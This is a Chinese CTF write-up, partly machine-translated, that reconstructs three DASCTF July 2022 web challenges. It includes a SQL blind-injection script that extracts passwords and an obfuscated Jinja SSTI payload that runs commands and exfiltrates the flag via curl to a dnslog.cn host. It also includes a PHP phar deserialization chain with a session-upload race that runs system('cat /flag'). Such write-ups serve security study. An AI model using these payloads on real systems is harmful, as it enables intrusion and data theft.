当前位置:网站首页>DASCTF2022.07 empowerment competition WEB topic recurrence
DASCTF2022.07 empowerment competition WEB topic recurrence
2022-08-10 17:18:00 【Ki1ro】
前言
其实7I want to recreate it in a month,The subject matter seems to be of high quality,But he was too lazy to read it, so he put it on hold.Now I have the ability to come back and fill the hole,But the last question is still a bit difficult for me to understand,之后再研究研究.
复现
DASCTF|2022DASCTF7月赋能赛官方Write Up
绝对防御
知识点
sql注入-布尔盲注
js路径查找
复现过程
Enter the topic to view the source code,The home page is found to be a static image,Many are citedjs
我们通过JSfinderThis tool goes to find the relevant interface
找到一个php接口SUPERAPI.php,访问查看一下
View the source code to see the front-end pairget传入的'id'Parameters are strictly filtered
输入1或者2试了一下,会返回admin和flag
Guess here is onesql注入点,The front-end filtering can actually be ignored,Mainly the back-end filtering
We pass like thispayload进行fuzz测试,Returned when there is no filteringadmin,empty when filtering
?id=1 and 'if'='if'--+
fuzz脚本
f = open("sqlFuzz字典.txt", 'r')
strs = f.readlines()
print("--------- 过滤字符")
for i in strs:
if "'" in i:
payload = f'1 and "{i}"="{i}"--+'
else:
payload = f"1 and '{i}'='{i}'--+"
time.sleep(0.1)
r = requests.get(url=url+payload).text
if 'admin' not in r:
print("--------- "+i)
The following characters are roughly filtered
union, if, insert, update, sleep, benchmark, #, &
sleep,union过滤了,So we use boolean blinds
盲注脚本
import requests
import time
url = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+"
# 爆列
# payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+"
# # 爆值
payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+"
r = requests.get(url=url+payload).text
time.sleep(0.1)
if(r'admin' in r):
max = j
else:
min = j
获取flag
HardFlask
知识点
SSTI注入
复现过程
See that there is an input box,and has certain functions,You can try to guessSSTI注入
尝试{ {2*2}},发现被过滤
使用脚本fuzz一下
import requests
import time
url = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'
f = open("fuzz_dict.txt", 'r')
strs = f.readlines()
print("--------- 过滤字符")
for i in strs:
if "'" in i:
data = {'nickname':f"{i}"}
else:
data = {'nickname':f'{i}'}
time.sleep(0.1)
r = requests.post(url=url, data=data).text
# print(r)
if 'Hacker! restricted characters!' in r:
print("--------- "+i)
Roughly filter characters
', }}, {
{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
Double quotes can also be used,So underscore worksattr加上unicode编码来绕过
{ {用{%来替代
之前尝试了lipsumChains or undefined classes don't seem to work
{
{lipsum.__globals__['os'].popen('ls').read()}}
So still use the most common way of thinking
{
{"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}
Find contains by scriptpopen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,I don't know if it's an environmental issue or what)
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
for i in range(500):
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
应该print没有了,So we tried takeout,Takeaway has been bugging me for a long time,试了bp的collaborator还有vps似乎都行不通,最后用dnslogTakeout can be successful
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'
# curl `cat f*`..0rpfo7.dnslog.cn
i =132
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
f'("{cmd}")' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
print(res.text)
获得flag
Ez to getflag
知识点
phar反序列化
session文件竞争
任意文件读取
文件包含
复现过程
非预期解
Because the picture viewing page is not bannedflag,Can be read directly from arbitrary files,获取根目录下的flag
预期解
Read through image viewingupload.php,class.php,file.php的源码
先看一下class.php中uploadThe upload logic of the class
Use a whitelist to filter file suffixes,Strict filtering of file content,Looks like I want to upload onePHPTrojans are somewhat unlikely
The save filename is the filename of the uploaded filemd5值,So the file is known and controllable to us.
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
Let's take a look at the logic of file reading,Filter many pseudo-protocols,但没有过滤phar伪协议
我们可以通过file_get_contents函数搭配pharPseudo-protocol to trigger the deserialization chain
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
The next step is to try to find the deserialization chain to exploit
我们可以通过Test类的__destruct方法作为起点,strControllable and it's printingstr,So you can find it contains__toString的类
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法
__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用.
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
Show类中含有__get方法,And he called an unknown method,Then we can try to find it__call魔术方法
function __get($name)
{
$this->ok($name);
}
通过Show类中的__call方法,我们可以调用backdoor方法
我们来看看backdoor方法是什么
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
backdoormethod for file inclusion,$door我们可控,就是前面$size,Can be changed to the filename we want to include
public function backdoor($door){
include($door);
echo "hacked!!";
}
Then we have to figure out a way,How to upload the files we include to the website,Also consider whether it can be included through the log,But on the file reading page, the attempt to read the log through the default path found that it failed,Possibly the path has been modified.
It's time to start thinkingsession文件竞争
构造pop链
<?php
class Test{
public $str;
}
class Upload {
public $fname;
public $fsize;
}
class Show{
public $source;
}
$test = new Test();
$upload = new Upload();
$show = new Show();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_Ki1ro';
// 生成phar文件
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
通过gzip文件压缩,Bypass content detection,将后缀改为png,绕过后缀检测
再上传文件
Now start writing, reading and uploading filessessionA two-threaded script for files
import threading, requests
from hashlib import md5
url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'
check = True
# 触发pharThe file is deserialized to includesessionUpload progress file
def include(fileurl, s):
global check
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'
params = {
'f': 'phar://upload/' + fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
print(res.text)
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(uploadurl, s):
global check
while check:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working';system('cat /flag') ?>"
}
cookies = {
'PHPSESSID': 'chaaa'
}
files = {
'file': ('chaaa.png', b'cha' * 300)
}
s.post(url=url, data=data, cookies=cookies, files=files)
def exp(url):
fileurl = url + 'file.php'
uploadurl = url + 'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争getshell
event = threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1, 5):
threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()
for i in range(1, 5):
threading.Thread(target=include, args=(fileurl, s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(url)
print('success')
获取flag
边栏推荐
猜你喜欢
随机推荐
C专家编程 第10章 再论指针 10.4 向函数传递一个一维数组
深度学习培训二笔记
ARM开发(三)ARM寻址方式,异常中断,异常向量表
百日刷题挑战--错题01day
Embedded Development: Embedded Basics - Mapping Peripherals Using Arrays of Pointers
烟雾、空气质量、温湿度...自己徒手做个环境检测设备
Meaning of CDF graph
C专家编程 第10章 再论指针 10.8 轻松一下---程序检验的限制
蓝桥ROS之 cmake gcc g++ 默认版本和升级
MySQL数据库完全备份与增量备份怎么实现
pytorch 模型GPU推理时间探讨3——正确计算模型推理时间
重庆新壹汽与一汽集团达成新能源项目战略合作,赋能“碳中和”创造“碳财富”
注解和反射、持续
一张图快速了解 Istio 的 EnvoyFilter
cube-studio配置镜像仓库并允许
数学基础(五)最优化理论(最优化,无约束,有约束,拉格朗日乘子的意义,KKT条件)
神经网络全连接层的作用,各种神经网络的优缺点
unr #6day1 T2题解
HTTP学习——协议与术语、HTTP、缓存、Cookie
让页面滚动到指定位置